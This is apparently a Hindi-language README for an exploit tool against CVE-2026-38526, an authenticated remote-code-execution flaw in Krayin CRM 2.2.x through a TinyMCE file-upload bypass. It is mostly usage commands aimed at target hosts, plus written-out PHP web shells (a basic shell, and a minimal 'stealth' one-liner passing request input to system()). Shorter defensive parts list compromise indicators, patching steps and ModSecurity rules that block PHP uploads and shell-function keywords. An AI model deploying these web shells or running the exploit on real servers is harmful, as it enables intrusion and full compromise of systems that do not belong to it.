
CVE-2026-38526 Krayin CRM v2.2.x के लिए शोषण - TinyMCE फ़ाइल अपलोड बाईपास के माध्यम से प्रमाणित RCE। इसमें इंटरैक्टिव शेल, मल्टी-टाइप पेलोड, ऑटो शेल जनरेशन और सत्यापन शामिल हैं। लेखक: Sudeepa Wanigarathna। केवल अधिकृत परीक्षण के लिए।
⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए - अनधिकृत उपयोग अवैध और अनैतिक है।
यह शोषण उपकरण Krayin CRM संस्करण 2.2.x में खोजी गई एक महत्वपूर्ण प्रमाणित रिमोट कोड निष्पादन (RCE) भेद्यता को प्रदर्शित करता है। यह भेद्यता TinyMCE फ़ाइल अपलोड कार्यक्षमता में मौजूद है, जो प्रमाणित व्यवस्थापकों को सर्वर पर मनमाना PHP कोड अपलोड और निष्पादित करने की अनुमति देती है।
| गुण | मान |
|---|---|
| CVE ID | CVE-2026-38526 |
| प्रभावित सॉफ्टवेयर | Krayin CRM v2.2.x |
| भेद्यता प्रकार | प्रमाणित रिमोट कोड निष्पादन (RCE) |
| प्रमाणीकरण आवश्यक | हाँ (व्यवस्थापक-स्तर पहुंच) |
| प्रभाव | पूर्ण सिस्टम समझौता |
| CVSS स्कोर | 8.8 (उच्च) |
यह भेद्यता TinyMCE फ़ाइल अपलोड एंडपॉइंट (/admin/tinymce/upload) में अपर्याप्त फ़ाइल प्रकार सत्यापन से उत्पन्न होती है। एक प्रमाणित व्यवस्थापक निम्नलिखित कर सकता है:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]
# जनरेटेड शेल के साथ बुनियादी शोषण
python3 exploit.py -t http://target.com -u [email protected] -p password
# कस्टम PHP शेल फ़ाइल अपलोड करें
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# इंटरैक्टिव मोड के साथ एडवांस्ड शेल जनरेट करें
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# शोषण के बिना शेल फ़ाइल जनरेट करें
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# परीक्षण/डिबगिंग के लिए प्रॉक्सी के साथ उपयोग करें
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# ऑटोमेशन के लिए JSON आउटपुट
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# कस्टम टाइमआउट के साथ वर्बोज़ मोड
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# कस्टम User-Agent और हेडर
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
बेसिक शेल (basic)
system() फ़ंक्शन के साथ सरल कमांड निष्पादन।
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
एडवांस्ड शेल (advanced)
सुविधा-संपन्न शेल जिसमें शामिल हैं:
मिनिमल शेल (minimal)
चुपके के लिए न्यूनतम पदचिह्न।
<?php system($_GET["cmd"]); ?>
फ़ाइल मैनेजर (file_manager)
पूर्ण फ़ाइल प्रबंधन इंटरफ़ेस:
कस्टम शेल (custom)
-f पैरामीटर के साथ अपनी खुद की PHP शेल फ़ाइल का उपयोग करें।
इंटरैक्टिव उपयोग के लिए मानव-पठनीय रंगीन आउटपुट।
-o json)ऑटोमेशन और एकीकरण के लिए मशीन-पठनीय प्रारूप।
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)त्रुटियों को छोड़कर कोई आउटपुट नहीं। बैच प्रोसेसिंग के लिए उपयोगी।
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
निगरानी के लिए फ़ाइलें:
public/storage/upload/ में असामान्य PHP फ़ाइलेंimage.php.jpg)जाँचने के लिए लॉग:
/admin/tinymce/upload POST अनुरोधसिस्टम संकेतक:
तत्काल कार्रवाई:
# पैच किए गए संस्करण में अपडेट करें
composer update krayin/crm
# अस्थायी रूप से व्यवस्थापक पहुंच अक्षम करें
# अनावश्यक व्यवस्थापक खाते हटाएं
# सभी व्यवस्थापक पासवर्ड बदलें
फ़ाइल अपलोड सख्तीकरण:
// फ़ाइल प्रकार को केवल एक्सटेंशन से नहीं, बल्कि सामग्री से मान्य करें
// सामग्री सुरक्षा नीति लागू करें
// वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करें
// फ़ाइल अपलोड स्कैनिंग सक्षम करें
पहुंच नियंत्रण:
# .htaccess में व्यवस्थापक आईपी प्रतिबंधित करें
# व्यवस्थापक खातों के लिए MFA लागू करें
# नियमित व्यवस्थापक ऑडिट
# सत्र टाइमआउट नीतियां
WAF नियम (ModSecurity):
# संदिग्ध फ़ाइल अपलोड को ब्लॉक करें
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP फ़ाइल अपलोड अवरुद्ध'"
# वेब शेल को ब्लॉक करें
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'शेल कमांड अवरुद्ध'"
यह भेद्यता जिम्मेदार सुरक्षा अनुसंधान के माध्यम से खोजी गई थी। प्रकटीकरण प्रक्रिया ने निम्नलिखित चरणों का पालन किया:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE.
USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.
समस्या: प्रमाणीकरण विफल होता है
/admin/login हैसमस्या: फ़ाइल अपलोड विफल होता है
समस्या: शेल कमांड निष्पादित नहीं करता है
php.ini में PHP फ़ंक्शन अक्षम नहीं हैंecho test जैसे सरल कमांड से परीक्षण करेंसमस्या: SSL प्रमाणपत्र त्रुटियाँ
--verify-ssl फ़्लैग का उपयोग करें या सत्यापन अक्षम करें# वर्बोज़ लॉगिंग सक्षम करें
python3 exploit.py -t http://target.com -u admin -p pass -v
# प्रॉक्सी के साथ (Burp Suite, आदि)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
योगदान का स्वागत है! कृपया सुनिश्चित करें:
यदि आपको यह उपकरण सुरक्षा अनुसंधान के लिए उपयोगी लगता है, तो कृपया विचार करें:
सुरक्षा अनुसंधान के लिए ❤️ के साथ बनाया गया
याद रखें: बड़ी शक्ति के साथ बड़ी जिम्मेदारी आती है। इस ज्ञान का समझदारी से उपयोग करें!
# त्वरित संदर्भ
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]
# विकल्प:
# -f FILE कस्टम शेल अपलोड करें
# --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
# -i इंटरैक्टिव मोड
# --proxy URL HTTP प्रॉक्सी
# -v वर्बोज़ आउटपुट
# -o json JSON आउटपुट
# --generate-only बिना शोषण के शेल बनाएं
# --timeout SEC अनुरोध टाइमआउट
# --retry N पुनः प्रयास संख्या
# --user-agent UA कस्टम User-Agent
# --header "K: V" कस्टम हेडर
# --verify-ssl SSL प्रमाणपत्र सत्यापित करें
# -q, --quiet आउटपुट दबाएं
🔒 याद रखें: किसी भी सिस्टम का परीक्षण करने से पहले हमेशा लिखित अनुमति प्राप्त करें!
| पैरामीटर | विवरण |
|---|
-t, --target | लक्ष्य URL (जैसे, http://192.168.1.100) |
-u, --username | व्यवस्थापक उपयोगकर्ता नाम या ईमेल |
-p, --password | व्यवस्थापक पासवर्ड |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
--timeout | सेकंड में अनुरोध टाइमआउट | 30 |
--retry | पुनः प्रयास प्रयासों की संख्या | 3 |
--retry-delay | सेकंड में पुनः प्रयासों के बीच देरी | 2 |
--user-agent | कस्टम User-Agent स्ट्रिंग | डिफ़ॉल्ट ब्राउज़र UA |
--header | कस्टम HTTP हेडर (कुंजी: मान) | कोई नहीं |
--verify-ssl | SSL प्रमाणपत्र सत्यापित करें | False |
--proxy | HTTP/HTTPS प्रॉक्सी URL | कोई नहीं |
-v, --verbose | डिबग आउटपुट सक्षम करें | False |
-q, --quiet | सभी आउटपुट दबाएं | False |